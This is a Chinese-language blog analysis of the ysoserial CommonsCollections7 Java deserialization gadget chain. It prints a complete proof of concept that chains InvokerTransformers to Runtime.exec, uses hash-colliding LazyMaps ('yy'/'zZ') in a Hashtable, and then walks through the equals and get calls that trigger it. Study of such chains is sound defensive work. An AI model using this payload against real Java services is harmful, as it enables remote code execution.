ysoserial CommonsColletions7分析
阅读原文时间:2023年07月09日阅读:2

CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的。文章如有错误,敬请大佬们斧正

CC7利用的是hashtable#readObject作为反序列化入口。AbstractMap的equals来触发的LazyMap的get方法

这条链太过于复杂,无法想象大佬们是怎么样的思维挖掘出这条链的,所以只能跟着大佬的poc跟着进行调试了分析了

public class CC7 {
    public static void main(String[] args) throws Exception {
        final String[] execArgs = new String[]{"calc"};

        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

        final Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec",
                new Class[]{String.class},
                execArgs),
            new ConstantTransformer(1)};

        Map hashMap1 = new HashMap();
        Map hashMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        System.out.println(lazyMap1 == lazyMap2);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 1);

        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain, transformers);

        lazyMap2.remove("yy");

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
        objectOutputStream.writeObject(hashtable);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
        objectInputStream.readObject();
    }
}

前面和其他链都一样,关键看后面。这里构造了两个LazyMap对象,并且都put进了hashtable中。而hashtable的readObject就是为反序列化的入口。

在readObject方法的最后一行,进入reconstitutionPut方法

进行判断tab[index]是否为null,不为null则进入if语句,执行e.key.equals(key),此时的e.key为LazyMap

转到LazyMap的equals方法,此时的map就是刚开始传入的HashMap,而参数object就是LazyMap


转到HashMap的equals,第495行进行了m.get,而这个m就是LazyMap,从而调用到了LazyMap的get方法

关于满足上面调用链,要满足几个条件

为了在hashtable数组put第二个LazyMap时候会执行equals方法,所以要进行两个hash值是相同的。即

lazyMap1.hashCode() == lazyMap2.hashCode()

而相同的条件则是里面的元素值一样,比如

"zZ".hashCode()和"yy".hashCode()是一样的

类似的还有Aa和BB等等

在反序列时候,执行到reconstitutionPut,需要把第一个LazyMap put进数组。此时进行for循环判断tab[3]的值为空(null),即不会进入if语句进行判断,而直接加入lazyMap进行数组到tab[3]的位置

第二次加入LazyMap,会发现LazyMap已经存在于tab[3]的位置,从而进行hash和equals判断。两个lazyMap对象用hashCode拿到的hash值其实是相同的,就会执行lazyMap的equals方法判断两个LazyMap。

e里面存放的值

因为之前在第二次hashtable.put(lazyMap2, 1);时候会进行一次把值加入到m,m.size就成了2,导致了if语句判断为真,直接return false中断了后面m.get的执行,所以要remove第一次put的lazyMap1。接下来看详细解读

Hashtable不允许放重复得值,Hashtable进行put的时候,会先比较集合中是否有相同得参数(利用hash值和equals方法比较),如下图

第二次hashtable.put时,计算到两个lazyMap得hash值相同,则再调用lazyMap得equals进行比较,lazyMap得equals方法是继承至AbstractMapDecorator

return了map得equals方法,而map得值是在LazyMap.decorate中传入得hashMap2,为HashMap类型

查看HashMap得equals(此方法是继承自AbstractMap)

在482行中,此时m值只有个zZ,size为1

之后把zZ加进了集合后,就有两个元素了。

后面进行反序列化时候,调用到这里会出现m.size=2,而size()则是1,导致了直接return false中断了后面m.get的执行